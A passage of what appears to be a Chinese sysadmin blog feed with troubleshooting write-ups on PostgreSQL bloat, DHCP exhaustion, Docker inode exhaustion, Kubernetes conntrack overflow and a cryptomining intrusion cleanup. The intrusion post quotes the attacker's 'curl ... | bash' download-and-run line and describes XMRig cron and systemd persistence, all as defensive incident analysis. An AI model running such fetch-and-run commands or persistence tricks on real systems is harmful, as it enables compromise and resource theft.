AS query_age, wait_event_type, wait_event, left(query, 80) AS query FROM pg_stat_activity WHERE state IS DISTINCT FROM \u0026#39;idle\u0026#39; AND (now() - xact_start) \u0026gt; interval \u0026#39;5 minutes\u0026#39; ORDER BY xact_age DESC; 这一查就露馅了：有一个来自 BI 报表服务的连接，state='idle in transaction'，xact_age 已经 26 小时，对应的 query 是一条 BEGIN 后没提交也没回滚、只做了一次 SELECT 的会话。\n3. 根因链条闭环\r关键点在于：PostgreSQL 的 vacuum 不能回收“被任意活跃事务快照之后产生的死元组”。只要有一个事务（哪怕是 idle in transaction）还持有旧快照，它之前版本的所有行对它是“可见”的，vacuum 为了不破坏它的可重复读视图，就只能跳过这些死元组的回收。\n换句话说：一个 26 小时没提交的 idle-in-transaction 会话，相当于把整个数据库的死元组回收冻结了 26 小时。期间 orders 表持续被 UPDATE/DELETE，n_dead_tup 只增不减，autovacuum 即使运行也收效甚微。表越长越大，索引也同步膨胀（index bloat），执行计划因代价估算失真逐渐偏向全表扫描，查询自然断崖式变慢。\n验证索引膨胀可用 pgstattuple 扩展：\n1 2 3 CREATE EXTENSION IF NOT EXISTS pgstattuple; SELECT * FROM pgstatindex(\u0026#39;orders_pkey\u0026#39;); -- dead_tuple_percent 高达 60%+ 即明显膨胀 4. 确认阻塞来源\r用锁视图确认 vacuum 进程是否因该长事务被挡：\n1 2 3 4 5 6 SELECT a.pid, a.usename, a.state, l.locktype, l.mode, l.granted, b.query AS blocking_query FROM pg_locks l JOIN pg_stat_activity a ON a.pid = l.pid LEFT JOIN pg_locks bl ON bl.locktype = l.locktype AND bl.objid = l.objid AND NOT bl.granted WHERE l.granted = false; 结果印证：autovacuum worker 在 orders 上请求 ShareUpdateExclusiveLock 处于 granted=false 等待状态，阻塞者正是那个 26 小时的长事务会话。链条完全闭合。\n四、解决方案\r1. 立即释放“冻结”的长事务\r先与 BI 团队确认该会话已无业务用途，强制终止以解冻 vacuum：\n1 2 -- 先尝试优雅通知（应用侧回滚），无效则： SELECT pg_terminate_backend(12345); -- 12345 为 above 查到的 pid 会话断开后，立马手动触发一次对 orders 的 vacuum：\n1 VACUUM (VERBOSE, ANALYZE) orders; ⚠️ 注意：不要用 VACUUM FULL 作为首选。VACUUM FULL 会持排他锁重写整张表，在大表上会长时间锁表影响业务。真正需要回收物理空间时，更优解是使用 pg_repack（在线重组，只短暂加锁）。\n2. 在线重组回收膨胀空间\r安装并使用 pg_repack 对 orders 做在线瘦身：\n1 pg_repack -d bizdb -t public.orders --no-order 执行后 orders 堆文件从 28GB 回落到约 9.5GB，索引 dead_tuple_percent 从 60% 降到 2%，报表查询耗时回到 1 秒以内。\n3. 紧急调优 autovacuum 阈值\r对写入频繁的大表降低触发门槛，让 vacuum 更积极：\n1 2 3 4 5 ALTER TABLE orders SET ( autovacuum_vacuum_scale_factor = 0.02, autovacuum_vacuum_threshold = 5000, autovacuum_analyze_scale_factor = 0.05 ); 4. 设置事务超时兜底\r在数据库级别给“空闲在事务中”的会话加超时，从机制上杜绝此类问题复发：\n1 ALTER DATABASE bizdb SET idle_in_transaction_session_timeout = \u0026#39;5min\u0026#39;; 同时在应用连接池（PgBouncer）层面设置 server_idle_timeout 和 query_timeout，双保险。\n五、根因分析\r本质是一条“不起眼”的 BI 会话泄漏：BEGIN 后查询完毕却忘记 COMMIT/ROLLBACK，连接被连接池保活成 idle in transaction。在 MVCC 下，这个未结束事务持有的旧快照，使 vacuum 无法回收该快照之后产生的任何死元组。叠加 orders 表高频 UPDATE/DELETE，死元组以千万级速度累积，表与索引持续膨胀，执行计划劣化，最终表现为查询性能断崖式下跌。问题不在 autovacuum 配置（默认配置对大多数表是够的），而在一个长事务把整个回收链路“冻住”了。\n六、预防措施\r集群级设置超时阈值：idle_in_transaction_session_timeout、statement_timeout、lock_timeout 三件套在实例/库级别统一配置，避免单个泄漏会话拖垮全局。 监控“长事务”而非只监控慢 SQL：把 pg_stat_activity 中 state='idle in transaction' 且 now()-xact_start \u0026gt; 5min 的会话接入告警，做到分钟级发现。 监控表膨胀率：定期跑 bloat 估算 SQL，对 dead_pct \u0026gt; 50% 的表自动派单处理；对大表常态化 pg_repack 维护窗口。 应用侧规范事务：禁止“查询后不提交”的写法，所有事务显式 COMMIT/ROLLBACK；BI/报表类长查询改用独立只读从库 + SET transaction_read_only，与核心写入库隔离。 autovacuum 大表定制：对写入频繁的大表单独下调 scale_factor、上调 cost_limit，避免默认参数在大表上响应过慢。 七、总结\r这次故障的典型之处在于：它没有报错、没有宕机、没有硬件异常，纯粹是“一个被遗忘的事务”通过 MVCC 机制缓慢冻结了整个回收链路，最终以“查询变慢”的形式爆发。给运维的启示是——监控不能只看 CPU/内存/慢日志，事务年龄（age(datfrozenxid)）和 idle in transaction 长会话同样是高优先级的“沉默杀手”。配好超时阈值 + 盯住长事务 + 定期治理表膨胀，基本能把这类问题挡在发生之前。\n","date":"2026-07-09T07:00:00Z","permalink":"/posts/b1c93f57/","title":"一次 PostgreSQL 长事务导致表膨胀与 autovacuum 失效、查询性能断崖式下跌的排查实录"},{"content":"问题背景\r公司办公网核心是一台三层交换机，下挂多个接入交换机，员工 PC、手机、打印机和一堆 IoT 设备都划分在同一个 /24 网段里，由 Windows Server 上的 DHCP 服务统一下发地址。平时一切正常，管理员也没太关注地址池的剩余量。某天周一早高峰，几乎同一时刻上百人打卡开机、连 WiFi，问题就爆发了。这类\u0026quot;容量型\u0026quot;故障最隐蔽的地方在于：它平时毫无征兆，一旦触发就是大面积、且每次重启都只是暂时缓解，很容易让排障者陷入\u0026quot;重启试试\u0026quot;的误区。\n故障现象\r早上 9 点前后，IT 服务台在十分钟内涌进二十多个报障工单，集中在同一楼层：\n部分员工插上网线或连上办公 WiFi 后，系统托盘网络图标显示\u0026quot;黄色感叹号\u0026quot;，状态是\u0026quot;已连接，但无法访问 Internet\u0026quot;； ipconfig /all 看到的不是正常的 192.168.10.x，而是 169.254.x.x（APIPA 自动专用地址），说明没有从 DHCP 拿到地址； 能 Ping 通网关 192.168.10.1，但打不开任何网页，DNS 解析也失败； 已在线的人不受影响，问题只集中在新开机、或休眠唤醒、或重新连网的那批终端； 现场重启交换机、重启网卡后能临时恢复，但半小时后同样的人又掉回 169.254，形成\u0026quot;重启救一时、过会儿又复发\u0026quot;的怪圈。 初步判断这不是线路或交换机故障——能 Ping 通网关就说明二层、三层转发是好的，问题大概率出在\u0026quot;地址下发\u0026quot;这一环。\n排查过程\r第一步：确认是否真的没拿到地址。 在故障终端上执行 ipconfig /release \u0026amp;\u0026amp; ipconfig /renew，观察输出。正常情况下会立刻拿到 192.168.10.x；而故障终端卡在 \u0026ldquo;正在等待 DHCP 服务器响应\u0026rdquo; 几十秒后，退回 169.254.x.x。结合 ipconfig /all 里\u0026quot;自动配置 IP 地址 169.254.x.x\u0026quot;，基本锁定：DHCP Discover/Offer 阶段就拿不到地址，不是 DNS 也不是网关问题。\n第二步：直奔 DHCP 服务器看地址池。 登录 Windows DHCP 控制台（或 dhcputil / PowerShell Get-DhcpServerv4Scope），展开作用域 192.168.10.0/24，重点看两个数字：\u0026ldquo;地址总数\u0026rdquo; 与 \u0026ldquo;可用地址\u0026rdquo;。结果发现：253 个可用地址里，剩余可用显示为 0，租约列表里 253 条全是\u0026quot;已租用 (Active)\u0026ldquo;状态。这就对上了——不是服务器宕了，而是它\u0026quot;无地址可发\u0026rdquo;，只能让客户端退到 APIPA。\n第三步：分析租约构成，找出\u0026quot;占坑\u0026quot;的设备。 把租约按\u0026quot;租约过期时间\u0026quot;排序，发现大量租约剩余时间还挂着 6~7 天（默认租期 8 天），且客户端标识里混着很多手机 MAC（OUI 一眼能认出是 Apple / Xiaomi / Huawei）、几台访客笔记本、十几台打印机和智能电视。也就是说：一个 /24 既要养员工 PC，又要养所有人的手机、访客设备、IoT，253 个地址根本不够早高峰并发。\n第四步：确认有没有\u0026quot;放大器\u0026quot;。 进一步排查发现，有员工在工位私接了一台家用无线路由器当 AP，LAN 口又接回办公网——这本身不直接耗地址，但更严重的是另一处：访客 WiFi 的 DHCP 中继（DHCP Relay / IP Helper）错误地指向了办公网这个作用域，导致访客手机也来抢办公地址。再加上几个研发在测试环境开了几十台虚拟机，桥接到了办公网桥，每台都来要地址。三重叠加，地址池直接被打满。\n第五步：用数据验证根因。 在核心交换机上 show ip dhcp snooping binding（或 Windows 侧用 Get-DhcpServerv4Lease -ScopeId 192.168.10.0 | Measure-Object），统计当前活跃租约里非员工 PC 的占比，超过 55%。结合早高峰工单时间曲线与租约申请日志峰值时间完全吻合，确认\u0026quot;地址池容量不足 + 租期过长 + 访客/测试流量串入\u0026quot;是本次故障的组合根因。\n解决方案\r排障要快、根治要稳，分两步走：\n应急（10 分钟内恢复业务）：\n在 DHCP 控制台对抢占严重的访客 MAC、测试虚拟机 MAC 做保留排除（Reservation / Exclusion），把它们从办公作用域剔除； 临时把办公作用域的租期从 8 天改成 8 小时，Set-DhcpServerv4Scope -LeaseDuration 08:00:00，让休眠/离线的设备更快释放地址； 立即修正访客 WiFi 的 DHCP Relay，指向独立的访客作用域，并给研发测试网单独划 VLAN、单独地址池； 对仍卡在 169.254 的终端批量 ipconfig /release \u0026amp;\u0026amp; ipconfig /renew，几分钟内全部恢复正常。 根治（当天完成）：\n按部门/楼层拆分 VLAN，把办公、访客、IoT、打印机分属不同子网，每个子网独立 /24，从物理上隔离地址竞争； 启用接入交换机的 DHCP Snooping + 端口安全，非法私接的路由器/小交换机无法下发地址，从源头堵住\u0026quot;家用路由当 AP\u0026quot;的乱接行为； 对固定设备（打印机、服务器、AP）做静态保留，把动态池留给真正的流动终端。 根因分析\r根本原因是地址规划与容量管理缺位，而非设备故障：单个 /24（253 地址）承载了远超设计容量的终端类型，且默认 8 天租期让离线设备长期\u0026quot;占坑不释放\u0026quot;；同时访客网络与测试网络的 DHCP 流量错误串入办公作用域，成了压垮地址池的最后一根稻草。169.254 只是表象，地址池归零才是真凶。\n预防措施\r容量规划前置：按\u0026quot;终端数 × 1.3\u0026quot;预留地址，移动设备多的办公区直接上 /23 或拆 VLAN，别拿一个 /24 硬扛； 租期分级：员工 PC 可长（如 1 天），手机/访客用短租期（2~4 小时），让地址快速周转； 网络分区：办公、访客、IoT、打印严格分 VLAN，各用各的地址池，互不影响； 监控告警：对 DHCP 作用域的\u0026quot;可用地址数\u0026quot;做监控，低于 20% 就告警，把故障消灭在爆发前； 接入管控：开启 DHCP Snooping + 端口安全，禁止私接 NAT 路由，避免地址池被意外放大消耗。 总结\rDHCP 地址池耗尽是典型\u0026quot;平时无感、爆发致命\u0026quot;的容量型故障，排查关键就一句话：看到 169.254，先别查线路，直接去 DHCP 服务器看\u0026quot;可用地址\u0026quot;是不是 0。真正要做的不是反复重启，而是缩短租期、隔离访客、拆 VLAN、加监控——把容量和管理补齐，故障才不会下个周一再来一遍。\n本文基于真实办公网排障场景整理，涉及 IP 段与设备数量已做脱敏处理。\n","date":"2026-07-08T07:00:00Z","permalink":"/posts/018de7f4/","title":"一次办公网DHCP地址池耗尽导致部分终端无法获取IP的排查记录"},{"content":"一、问题背景\r公司内部的 CI/CD 构建节点是一台 2C4G 的云主机，上面跑着 GitLab Runner，所有流水线任务都通过 docker run 临时拉起容器执行编译、单元测试和镜像打包。这台机器已经稳定运行了半年多，运维也基本是\u0026quot;放养\u0026quot;状态——除了偶尔手动清理一下磁盘，没人专门维护。某天上午，开发同学突然在群里反馈：多条流水线同时失败，报错信息五花八门，有的说\u0026quot;无法拉取镜像\u0026quot;，有的说\u0026quot;容器启动超时\u0026quot;。我登录上去一看，连 docker ps 都开始变得卡顿，这才意识到事情没那么简单。\n二、故障现象\r最直观的现象是：几乎所有新建容器的操作都会失败。无论是 Runner 自动拉起的构建容器，还是我手动执行的 docker run hello-world，都返回一个类似的错误：\n1 docker: Error response from daemon: mkdir /var/lib/docker/overlay2/xxxxxxx: no space left on device. 更诡异的是，报错明明说 \u0026ldquo;no space left on device（设备上没有剩余空间）\u0026quot;，但 df -h / 显示的磁盘使用率只有 63%，还有大把空间。开发同学一度怀疑是 Docker 引擎抽风，甚至有人建议直接重启机器\u0026quot;试试看\u0026rdquo;。\n此外，已有的运行中容器并没有崩溃，业务服务照常对外提供访问，只是任何\u0026quot;新建/重启容器\u0026quot;的动作全部失败；docker images 列表里堆积了上百个 \u0026lt;none\u0026gt; 的中间镜像，磁盘肉眼可见地越来越慢。\n三、排查过程\r第一步，我本能地按\u0026quot;磁盘满\u0026quot;的思路去查。执行 df -h：\n1 2 Filesystem Size Used Avail Use% Mounted on /dev/vda1 50G 32G 18G 63% / 空间明明还剩 18G，所以 \u0026ldquo;no space left on device\u0026rdquo; 在这里是假象。结合经验，Linux 上除了字节数，还有另一个隐藏上限——inode 数量。一个文件系统能创建的文件总数受 inode 限制，即使字节没满，inode 耗尽同样会报这个错。\n第二步，用 df -i 验证猜测：\n1 2 Filesystem Inodes IUsed IFree IUse% Mounted on /dev/vda1 3276800 3276790 10 100% / 果然，inode 使用率 100%，只剩 10 个可用。问题定性了：这是 inode 耗尽，不是磁盘空间耗尽。\n第三步，定位是哪个目录吃掉了 inode。因为 Docker 的根目录默认在 /var/lib/docker，我写了个循环统计子目录的文件数：\n1 2 3 for d in /var/lib/docker/*; do echo \u0026#34;$d: $(find \u0026#34;$d\u0026#34; -xdev -type f 2\u0026gt;/dev/null | wc -l)\u0026#34; done 输出显示 /var/lib/docker/overlay2 一个目录就占了 320 多万个文件，几乎吃光了全部 inode。overlay2 是 Docker 的存储驱动，每一层镜像、每个容器的可写层都被拆成一个个真实的小文件存放在这里。\n第四步，进一步分析 overlay2 内部构成。用 docker system df 看到：\n1 2 3 4 5 TYPE TOTAL ACTIVE SIZE RECLAIMABLE Images 214 12 28.4GB 26.1GB (91%) Containers 187 3 1.2GB 1.1GB (95%) Local Volumes 9 2 0 0 Build Cache 0 0 0 0 镜像和\u0026quot;僵尸容器\u0026quot;（已退出但未删除）数量惊人。再钻进 overlay2 看单目录文件数分布，发现大量 \u0026lt;hash\u0026gt;/diff 目录每个都装着几万甚至十几万个小文件——这正是那些 Java/Maven 项目在构建时往容器可写层写入海量 .class、依赖 jar、源码文件留下的痕迹。\n第五步，确认加剧因素——日志。检查 /etc/docker/daemon.json，发现根本没有配置 json-file 的日志轮转（max-size / max-file）。这意味着每个容器的标准输出日志都在 /var/lib/docker/containers/\u0026lt;id\u0026gt;/\u0026lt;id\u0026gt;-json.log 里无限增长，虽然单个日志是\u0026quot;大文件\u0026quot;对 inode 贡献不大，但叠加海量中间层小文件，最终把 inode 彻底打满。\n至此根因链条清晰：长期不清理 + 构建任务频繁创建容器/镜像 + 日志不轮转，导致 overlay2 累积了数百万个小文件，耗尽 inode，新容器再也无法创建目录。\n四、解决方案\r当务之急是腾出 inode，让 Docker 能继续工作：\n清理已退出容器与悬空镜像（释放海量小文件）：\n1 2 3 docker container prune -f docker image prune -a -f docker system prune -a --volumes -f 执行后 df -i 的 IFree 从 10 回升到 290 多万，inode 使用率降到 12%。\n重启 Docker 守护进程让状态归一：\n1 systemctl restart docker 临时把 Docker 根目录迁到 inode 更充裕的磁盘（可选，针对根盘 inode 本就偏小的云主机）：挂载一块数据盘，修改 daemon.json 的 \u0026quot;data-root\u0026quot;: \u0026quot;/data/docker\u0026quot; 后重启。\n验证：手动 docker run --rm hello-world 成功，Runner 流水线逐步恢复正常。\n五、根因分析\r表面看是\u0026quot;磁盘满了\u0026quot;，本质是文件系统 inode 资源被海量小文件耗尽。overlay2 存储驱动把每个镜像层和容器可写层都映射成宿主机的真实文件，构建型任务（编译、打包）会在容器内产生大量细小文件，这些文件在容器退出后若不被清理，就以\u0026quot;僵尸容器 + dangling 镜像\u0026quot;的形式永久占用 inode。再加上日志未配置轮转，雪上加霜。云主机默认文件系统的 inode 总数往往偏小（本例仅 327 万），在 CI 场景下极容易被打满。\n六、预防措施\r配置日志轮转：在 daemon.json 中加入\n1 2 \u0026#34;log-driver\u0026#34;: \u0026#34;json-file\u0026#34;, \u0026#34;log-opts\u0026#34;: { \u0026#34;max-size\u0026#34;: \u0026#34;100m\u0026#34;, \u0026#34;max-file\u0026#34;: \u0026#34;3\u0026#34; } 建立定期清理机制：用 cron 每天凌晨执行 docker system prune -a -f --filter \u0026quot;until=72h\u0026quot;，只保留近三天的资源。\ninode 监控告警：把 df -i 接入监控（Node Exporter + Prometheus 或云监控），inode 使用率超 80% 即告警，比磁盘空间告警更早发现隐患。\n构建阶段减少可写层文件：CI 中尽量用多阶段构建（multi-stage build），把编译产生的中间文件留在构建阶段、不带入最终镜像；构建缓存挂载到宿主机独立大目录而非容器可写层。\n给 Docker 分配独立数据盘：新建大 inode 文件系统（mkfs.ext4 -i 8192 调高密度）专供 /var/lib/docker，从容量上根除风险。\n七、总结\r这次故障给我最深的教训是：排查 \u0026ldquo;no space left on device\u0026rdquo; 不能只看 df -h，一定要补一眼 df -i。在容器、CI、日志这类\u0026quot;产生海量小文件\u0026quot;的场景里，inode 耗尽比磁盘字节耗尽更常见、更隐蔽。把日志轮转、定期 prune、inode 监控三件事做成标准动作，基本可以杜绝这类问题再次发生。\n","date":"2026-07-07T12:38:41Z","permalink":"/posts/7c34ba61/","title":"Docker 宿主机 overlay2 inode 耗尽致容器批量创建失败的定位"},{"content":"一、问题背景\r某生产 Kubernetes 集群（v1.28，containerd 运行时，Calico CNI）承载了约 200 个微服务 Pod，分布在 12 个 worker 节点上。近期业务团队反馈：部分 Pod 之间的 HTTP/gRPC 调用出现间歇性超时，频率大约每小时 2-3 次，每次持续 10-30 秒后自动恢复。因为不是持续故障，问题排查起来格外棘手。\n二、故障现象\r业务方反馈的现象汇总如下：\n受影响的服务：主要集中在某两个节点上的 Pod，调用其他节点上的服务时偶发 connection timeout 时间规律：无明显时间段规律，白天和凌晨都有发生 恢复方式：无需人工介入，10-30 秒后自动恢复正常 影响范围：仅影响新建 TCP 连接，已建立的连接不受影响 监控表现：Prometheus 监控显示对应时间段内 Pod 的 container_network_receive_errors_total 和 container_network_transmit_errors_total 均有异常增长 初步怀疑方向：CNI 插件问题、kube-proxy 异常、或者底层网络设备丢包。\n三、排查过程\r3.1 排除 CNI 层\r首先检查 Calico 状态：\n1 calicoctl node status 所有节点 BGP peer 状态正常，无异常日志。calicoctl get ippool -o wide 确认 IPAM 未耗尽。\n在受影响节点上抓包：\n1 tcpdump -i caliXXXX -nn \u0026#39;tcp[tcpflags] \u0026amp; (tcp-syn) != 0\u0026#39; 发现一个关键现象：Client Pod 发出的 SYN 包确实到达了宿主机网卡，但没有进入目标容器的 veth pair。这意味着丢包发生在宿主机内核网络栈层面。\n3.2 检查内核日志\r1 dmesg -T | grep -i -E \u0026#34;conntrack|nf_conntrack|drop\u0026#34; 输出直接揭示了根因：\n1 2 3 [Mon Jul 6 09:12:33 2026] nf_conntrack: nf_conntrack: table full, dropping packet [Mon Jul 6 09:12:34 2026] nf_conntrack: nf_conntrack: table full, dropping packet [Mon Jul 6 09:12:38 2026] nf_conntrack: nf_conntrack: table full, dropping packet conntrack 表满了！ 内核在 conntrack 表容量耗尽时，会直接丢弃新连接的 SYN 包，导致客户端 TCP 连接超时。\n3.3 深入分析 conntrack 使用情况\r查看当前 conntrack 条目数：\n1 2 3 4 cat /proc/sys/net/netfilter/nf_conntrack_count # 输出：262144 cat /proc/sys/net/netfilter/nf_conntrack_max # 输出：262144 果然是打满了。再查看 conntrack 条目的构成：\n1 conntrack -L -o extended | awk \u0026#39;{print $4}\u0026#39; | sort | uniq -c | sort -rn | head -20 发现大量 TIME_WAIT 状态的连接条目，且主要来自几个特定的源 IP —— 对应一台高频调用外部 API 的数据同步服务。\n进一步查看 conntrack 超时参数：\n1 2 cat /proc/sys/net/netfilter/nf_conntrack_tcp_timeout_time_wait # 输出：120（秒） TIME_WAIT 状态默认超时 120 秒，在连接量大的场景下，这个时长足以让 conntrack 表被 TIME_WAIT 条目迅速填满。\n3.4 确认问题节点\r对比各节点的 conntrack 使用率发现，问题节点运行了一个高频 HTTP 调用的数据同步 Pod，每秒向外发起约 800-1000 个短连接请求。每个请求完成后进入 TIME_WAIT，在 120 秒内堆积的条目数：\n1 1000 连接/秒 × 120 秒 = 120,000 个 TIME_WAIT 条目 加上其他 Pod 的正常连接追踪条目（约 14 万个），轻松突破默认的 262144 上限。\n四、解决方案\r4.1 紧急处理（不中断业务）\r立即调整 conntrack 表大小：\n1 2 3 4 5 6 7 8 # 临时生效 echo 524288 \u0026gt; /proc/sys/net/netfilter/nf_conntrack_max # 永久生效 cat \u0026gt;\u0026gt; /etc/sysctl.d/99-conntrack.conf \u0026lt;\u0026lt; EOF net.netfilter.nf_conntrack_max = 524288 EOF sysctl -p /etc/sysctl.d/99-conntrack.conf 表大小翻倍后抖动立即消失。\n4.2 降低 TIME_WAIT 超时\r1 2 # 将 TIME_WAIT 超时从 120 秒降低到 60 秒 echo 60 \u0026gt; /proc/sys/net/netfilter/nf_conntrack_tcp_timeout_time_wait 4.3 启用 TCP 连接复用\r指导业务方在高频调用服务中启用 HTTP Keep-Alive 和连接池：\n1 2 3 4 5 # 应用侧配置示例（Go net/http） transport: max_idle_conns: 100 max_idle_conns_per_host: 10 idle_conn_timeout: 90s Keep-Alive 复用连接后，新建连接速率从 1000/秒下降到约 80/秒，conntrack 压力直接降低了 90% 以上。\n4.4 增加监控告警\r在 Prometheus 中添加 conntrack 使用率告警规则：\n1 2 3 4 5 6 7 - alert: ConntrackTableHigh expr: node_nf_conntrack_entries / node_nf_conntrack_entries_limit \u0026gt; 0.8 for: 5m labels: severity: warning annotations: summary: \u0026#34;节点 {{ $labels.instance }} conntrack 表使用率超过 80%\u0026#34; 五、根因分析\r本次问题的根因链条：\n应用层：数据同步服务使用短连接方式调用外部 API，未启用连接池复用 TCP 协议层：每个短连接断开后进入 TIME_WAIT 状态，持续 120 秒 内核层：conntrack 模块为每个 TCP 连接维护追踪条目，TIME_WAIT 条目在超时前不会被回收 资源瓶颈：默认 conntrack_max=262144，在 1000 cps 的场景下，仅 TIME_WAIT 就占用了近一半容量 故障表现：conntrack 表满后内核丢弃新 SYN 包，TCP 客户端多次重传超时后报 connection timeout 本质上是一个应用层设计缺陷（短连接）被底层内核资源限制（conntrack 表大小）放大的典型案例。\n六、预防措施\r应用层面：所有服务间调用默认启用连接池和 Keep-Alive，避免短连接模式。Code Review 阶段增加连接复用检查项。\n内核参数标准化：将以下参数纳入节点初始化基线 ——\n1 2 3 net.netfilter.nf_conntrack_max = 524288 net.netfilter.nf_conntrack_tcp_timeout_time_wait = 60 net.netfilter.nf_conntrack_tcp_timeout_established = 86400 conntrack 监控：所有 K8s 节点接入 conntrack 使用率监控，设置 80% 预警、95% 严重告警。\n容量规划：根据节点上预期 Pod 数量和连接模型，提前计算 conntrack 需求：\n1 预期条目数 ≈ Pod数量 × 平均连接数 × 连接超时/平均连接时长 定期巡检：将 conntrack -S 输出纳入日常巡检脚本，关注 insert_failed（插入失败计数）的增长趋势。\n七、总结\rconntrack 表满是一个典型的\u0026quot;静默故障\u0026quot;——不会触发明显的错误日志，监控面板上可能只是偶尔几个超时曲线的小抖动，容易被忽视。但一旦触发，影响面很大，且排查依赖 dmesg 内核日志和 conntrack 工具的熟练使用。\n这次排查再次印证了一个原则：在排查 K8s 网络问题时，不要只盯着 CNI 和 Service 层，宿主机内核网络栈的参数同样是关键变量。 很多时候问题的根因不在容器编排层，而在更底层的内核资源配置上。\n调整后的集群运行至今再未出现类似问题，conntrack 使用率稳定在 40%-55% 之间。\n","date":"2026-07-06T04:52:26Z","permalink":"/posts/48576c58/","title":"记一次 K8s 节点 conntrack 表打满导致的服务间 TCP 超时"},{"content":"一、问题背景\r某天上午，业务团队反馈核心订单处理服务响应明显变慢，接口 P99 延迟从平时的 200ms 飙升至 2s 以上，且偶发超时告警。该服务部署在一台 16C32G 的 CentOS 7.9 物理服务器上（hostname: app-ord-07），上面同时跑了订单 API（Java/Spring Boot）、一个 Redis 实例和定时任务 worker。\n这台机器并未直接暴露公网，仅开放了 80/443（由前端 Nginx 反代）和 22 端口，22 端口做了\u0026quot;仅允许运维跳板机网段\u0026quot;的 iptables 限制。按理说被外部直接攻陷的概率不高，但因为历史原因，jump host 上的部分账号口令较弱，且存在一台测试机曾意外开放过 0.0.0.0/0 的 2375（Docker 无鉴权端口）。这正是本次事件的隐患起点。\n二、故障现象\r登上服务器后，第一反应是这台机器\u0026quot;忙得不正常\u0026quot;：\nCPU 长期 100%：top 显示有 16 个同名进程 kthreadd/0、kworker 变体（实际是伪装名）各占一个核心，整体 load average 长期在 16.0 以上，与核心数持平。 业务被拖慢：订单 API 的 GC 时间变长，Redis 的 used_cpu_sys 飙升，但应用本身进程 CPU 占用反而被挤到很低。 进程名可疑：top 里排在最前的进程名频繁变动（一会儿 kthreadd，一会儿 systemd-network），通过 ps -ef 看到的完整命令行却指向 /var/tmp/.cache/... 这种隐藏目录。 网络有外联：iftop 显示机器持续向几个境外 IP 的 3333、8080 端口建立大量 TCP 连接，出向流量不大但连接数极多。 文件描述符与连接数异常：ss -antp 看到数百个到矿池域名的 ESTABLISHED 连接，且有规律的重连行为。 基本可以断定：这不是性能问题，是机器\u0026quot;被拿去挖矿了\u0026quot;。\n三、排查过程\r3.1 定位恶意进程\r先看占用最高的进程 PID 及其真实路径：\n1 2 3 4 top -c # 按 P 排序，记录可疑 PID ls -l /proc/\u0026lt;PID\u0026gt;/exe # 看真实可执行文件路径 cat /proc/\u0026lt;PID\u0026gt;/cmdline | tr \u0026#39;\\0\u0026#39; \u0026#39; \u0026#39;; echo readlink -f /proc/\u0026lt;PID\u0026gt;/cwd # 看工作目录 发现主进程落在 /var/tmp/.cache/ken/.ken 之类带隐藏目录的路径下。继续看它拉起的子进程与守护脚本：\n1 ps -ef | grep -E \u0026#39;var/tmp|\\.cache|/\\.tmp\u0026#39; | grep -v grep 3.2 找到守护与自启机制\r挖矿木马一般都会做\u0026quot;自杀重启\u0026quot;和\u0026quot;开机自启\u0026quot;，否则一眼就能 kill 掉。重点排查三处：\n1 2 3 4 5 6 7 8 9 10 11 12 # 1. crontab crontab -l cat /etc/cron.d/* 2\u0026gt;/dev/null ls -la /etc/cron.hourly/ # 2. systemd 单元 systemctl list-unit-files | grep -iE \u0026#39;ken|cache|myapp|random\u0026#39; ls -la /etc/systemd/system/ | grep -viE \u0026#39;^(\\.|-)\u0026#39; # 3. 开机脚本与 rc.local cat /etc/rc.local ls -la /etc/init.d/ 果然在 /etc/cron.d/ 下发现一个伪装成 0systemd 的定时任务，每分钟执行一次下载并拉起挖矿程序；同时 /etc/systemd/system/ 里有一个 myapp.service 做持久化。\n3.3 定位挖矿主体与配置\r进入隐藏目录，查看主程序与配置文件：\n1 2 3 ls -la /var/tmp/.cache/ken/ cat /var/tmp/.cache/ken/config.json # 矿池地址、钱包、线程数 strings /var/tmp/.cache/ken/.ken | grep -iE \u0026#39;pool|wallet|stratum|xmrig\u0026#39; config.json 暴露了关键信息：矿池为某 stratum+tcp 地址，钱包是一串 Monero（XMR）地址，threads 被设为机器的全部核心数。确认这就是 XMRig 的变体。\n3.4 顺藤摸瓜找入侵入口\r既然机器没直接暴露公网，要弄清楚入口。查近期登录与历史命令：\n1 2 3 4 last -Faiw | head grep -iE \u0026#39;Accepted|Failed\u0026#39; /var/log/secure | tail -50 cat ~/.bash_history journalctl _COMM=sshd | grep -i accept 发现跳板机弱口令账号在凌晨被爆破成功，随后执行了下载脚本：\n1 2 3 history | grep -iE \u0026#39;curl|wget|bash|sh \u0026#39; # 典型一行下载执行： # curl -fsSL http://x.x.x.x/x.sh | bash 进一步比对 Docker 2375 端口的暴露时间窗，确认攻击者先打穿测试机的 Docker 无鉴权端口拿到宿主机，再用内网横向移动，最终落地到 app-ord-07。这也解释了为什么进程名会伪装成 kthreadd/kworker。\n3.5 确认横向与持久化范围\r为防\u0026quot;只清了一台、别的机器还在\u0026quot;，快速横向检查同网段：\n1 2 # 在跳板机批量看各节点是否有同名隐藏进程/cron pssh -h hosts.txt -i \u0026#39;ps -ef | grep -E \u0026#34;var/tmp|\\.cache\u0026#34; | grep -v grep\u0026#39; 发现另有两台主机症状相同，说明是一次批量入侵，必须统一处置。\n四、解决方案\r清剿遵循\u0026quot;先止血、再清理、后加固\u0026quot;的顺序，且先在受影响的业务侧做限流降级，避免清理过程抖动放大故障。\n隔离与止血：在交换机/防火墙侧临时把 app-ord-07 与另外两台失陷主机的出向对矿池 IP 段做 DROP（保留跳板机管理通道），阻断挖矿外联。 1 iptables -A OUTPUT -d \u0026lt;矿池网段\u0026gt; -j DROP 杀进程：先 kill 掉守护与子进程，再 kill 主进程，避免被守护脚本立刻拉起。 1 2 3 systemctl stop myapp.service pkill -9 -f \u0026#39;/var/tmp/.cache\u0026#39; pkill -9 xmrig 删持久化：移除 crontab、systemd unit、rc.local 条目、隐藏目录。 1 2 3 4 5 rm -f /etc/cron.d/0systemd systemctl disable --now myapp.service rm -f /etc/systemd/system/myapp.service rm -rf /var/tmp/.cache /tmp/.cache # 修正 /etc/rc.local 中被追加的行 清登录与凭证：删除被爆破的弱口令账号、重置相关用户密码、回收泄露的 SSH key，并审查 authorized_keys。\n业务恢复：确认 CPU 回落、矿池连接断开后，逐步放开限流，观察订单 API 延迟与 Redis 指标回归正常。\n横向处置：对另外两台同症状主机重复上述步骤，并在跳板机强制开启 MFA、封禁 Docker 2375 端口。\n五、根因分析\r直接原因：XMRig 木马以系统全部核心并行挖矿，抢占 CPU 调度，导致业务进程拿不到计算资源，P99 延迟飙升。 入侵根因：跳板机弱口令被爆破 + 测试机 Docker 2375 端口无鉴权暴露公网，攻击者据此拿到内网立足点并横向移动。 